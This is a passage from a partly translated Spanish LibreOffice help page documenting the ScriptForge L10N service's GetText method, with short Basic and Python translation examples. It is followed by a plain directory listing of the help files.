    <p id="par_id661625857165908" class="paragraph" dir="auto">
      <span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">svc.GetText(msgid: str, args: any[0..*]): str</span>
    </p>
    <p id="par_id661625857165119" class="paragraph" dir="auto">
      <span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">svc._(msgid: str, args: any[0..*]): str</span>
    </p>
    <div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id421614967136502" dir="auto">In the ScriptForge library, all methods starting with the "_" character are reserved for internal use only. However, the shortcut <span class="literal">_</span> used for <span class="literal">GetText</span> is the only exception to this rule, hence it can be safely used in Basic and Python scripts.</p></div>
</div>
<br>
    <div class="embedded">
<a id="functparameters"></a>
<h3 id="hd_id061420171139084157" dir="auto">Parámetros:</h3>
</div>
    <p id="par_id51586165768525" class="paragraph" dir="auto"><span class="emph">msgid</span>: The untranslated string, which is the text appearing in the program code. It must not be empty. It may contain any number of placeholders (%1 %2 %3 ...) that can be used to dynamically insert text at runtime.</p>
    <p id="par_id11614365537450" class="paragraph" dir="auto">Besides using a single <span class="literal">msgid</span> string, this method also accepts the following formats:</p>
    <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id961614365557277" class="listitem" dir="auto">The <span class="literal">context</span> string with which the method will retrieve the <span class="literal">msgid</span> in the PO file, or;</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id981614365589866" class="listitem" dir="auto">A combination <span class="literal">context|msgid</span>, instructing the method to retrieve the <span class="literal">msgid</span> using specified <span class="literal">context</span> value. The second part of the argument is used to improve code readability.</p>
      </li>
    </ul>
    <p id="par_id571586165768106" class="paragraph" dir="auto"><span class="emph">args</span>: Values to be inserted into the placeholders. Any variable type is allowed, however only strings, numbers and dates will be considered.</p>
    <div class="embedded">
<a id="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Ejemplo:</h3>
</div>
    <div class="embedded">
<a id="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">En BASIC</h5>
</div>
    <p id="par_id701614365961454" class="paragraph" dir="auto">Consider the following code is running on a LibreOffice installation with locale set to "es-ES". Additionally, there is a file "es-ES.po" inside the specified folder that translates the string passed to the <span class="literal">GetText</span> method:</p>
    <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
      myPO = CreateScriptService("L10N", "C:\myPOFiles\")
      myPO.GetText("Welcome %1! Hope you enjoy this program", "John")
      ' "¡Bienvenido John! Espero que disfrutes de este programa"
    </code></pre></div>
    <div class="embedded">
<a id="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">En Python</h5>
</div>
    <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
      myPO = CreateScriptService('L10N', r"C:\myPOFiles")
      myPO.GetText('Welcome %1! Hope you enjoy this program', 'John')
      # "¡Bienvenido John! Espero que disfrutes de este programa"
    </code></pre></div>


    <div class="embedded">
<a id="SF_InternalUse"></a>
      <div class="warning">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/warning.svg" alt="warning" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id851506659675843" dir="auto">Todas las rutinas o identificadores BASIC de <span class="literal">ScriptForge</span> precedidas por guion bajo «_» están reservadas para uso interno. No deben utilizarse en macros BASIC o secuencias Python.</p></div>
</div>
<br>
    </div>
    <a id="relatedtopics"></a><div class="relatedtopics">
<p class="related" itemprop="mentions" dir="auto"><a id="related"></a><span class="emph">Temas relacionados</span></p>
<div class="relatedbody" itemprop="mentions">
      <div class="embedded"><p class="embedded" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_filesystem.html">Servicio <span class="literal">ScriptForge</span>.<span class="literal">FileSystem</span></a></p></div>
      <div class="embedded"><p class="embedded" dir="auto"><a target="_top" href="es/text/sbasic/guide/translation.html">Traducción de controles en el diálogo del editor</a></p></div>
    </div>
</div>
</div>
<div id="DonationFrame"></div>
<footer><h2 style="text-align: center;"><a href="https://books.libreoffice.org" target="_blank">Libros de LibreOffice</a></h2>
<div class="noteicon" dir="auto" style="display:flex;justify-content:center;flex-wrap:wrap;row-gap:15px;">
<img src="media/navigation/libo-writer.svg" alt="Writer Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-calc.svg" alt="Calc Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-impress.svg" alt="Impress Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-draw.svg" alt="Draw Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-base.svg" alt="Base Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-math.svg" alt="Math Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-symbol-black.svg" alt="Getting Started Icon" style="width:60px;height:60px;">
</div>
<div id="DEBUG" class="debug">
<h3 class="bug">Help content debug info:</h3>
<p dir="auto">This page is: <a href="https://opengrok.libreoffice.org/xref/help/source/text/sbasic/shared/03/sf_l10n.xhp" target="_blank">/text/sbasic/shared/03/sf_l10n.xhp</a></p>
<p dir="auto">Title is: Servicio ScriptForge.L10N</p>
<p id="bm_module" dir="auto"></p>
<p id="bm_system" dir="auto"></p>
<p id="bm_HID" dir="auto"></p>
</div></footer>
</body>
</html>

Filemanager

Name Type Size Permission Actions
avail_release.html File 8.05 KB 0644
lib_ScriptForge.html File 54.61 KB 0644
lib_depot.html File 5.35 KB 0644
lib_euro.html File 7.64 KB 0644
lib_formwizard.html File 5.38 KB 0644
lib_gimmicks.html File 7.76 KB 0644
lib_importwiz.html File 7.59 KB 0644
lib_schedule.html File 5.47 KB 0644
lib_script.html File 5.91 KB 0644
lib_template.html File 5.37 KB 0644
lib_tools.html File 74.88 KB 0644
lib_wikieditor.html File 5.62 KB 0644
sf_array.html File 84.5 KB 0644
sf_base.html File 45.49 KB 0644
sf_basic.html File 78.88 KB 0644
sf_calc.html File 209.75 KB 0644
sf_chart.html File 35.85 KB 0644
sf_database.html File 66.35 KB 0644
sf_dataset.html File 59.17 KB 0644
sf_datasheet.html File 42.59 KB 0644
sf_dialog.html File 164.91 KB 0644
sf_dialogcontrol.html File 92.57 KB 0644
sf_dictionary.html File 42.93 KB 0644
sf_document.html File 87.26 KB 0644
sf_exception.html File 47.22 KB 0644
sf_filesystem.html File 106.92 KB 0644
sf_form.html File 68.52 KB 0644
sf_formcontrol.html File 71.36 KB 0644
sf_formdocument.html File 24.99 KB 0644
sf_intro.html File 28.11 KB 0644
sf_l10n.html File 41.17 KB 0644
sf_menu.html File 36.53 KB 0644
sf_methods.html File 15.38 KB 0644
sf_platform.html File 32.07 KB 0644
sf_popupmenu.html File 32.73 KB 0644
sf_region.html File 48.56 KB 0644
sf_services.html File 13.42 KB 0644
sf_session.html File 58.96 KB 0644
sf_string.html File 125.2 KB 0644
sf_textstream.html File 28.87 KB 0644
sf_timer.html File 23.87 KB 0644
sf_toc.html File 136.53 KB 0644
sf_toolbar.html File 20.46 KB 0644
sf_toolbarbutton.html File 25.53 KB 0644
sf_ui.html File 63.35 KB 0644
sf_unittest.html File 62.35 KB 0644
sf_writer.html File 24.55 KB 0644
Filemanager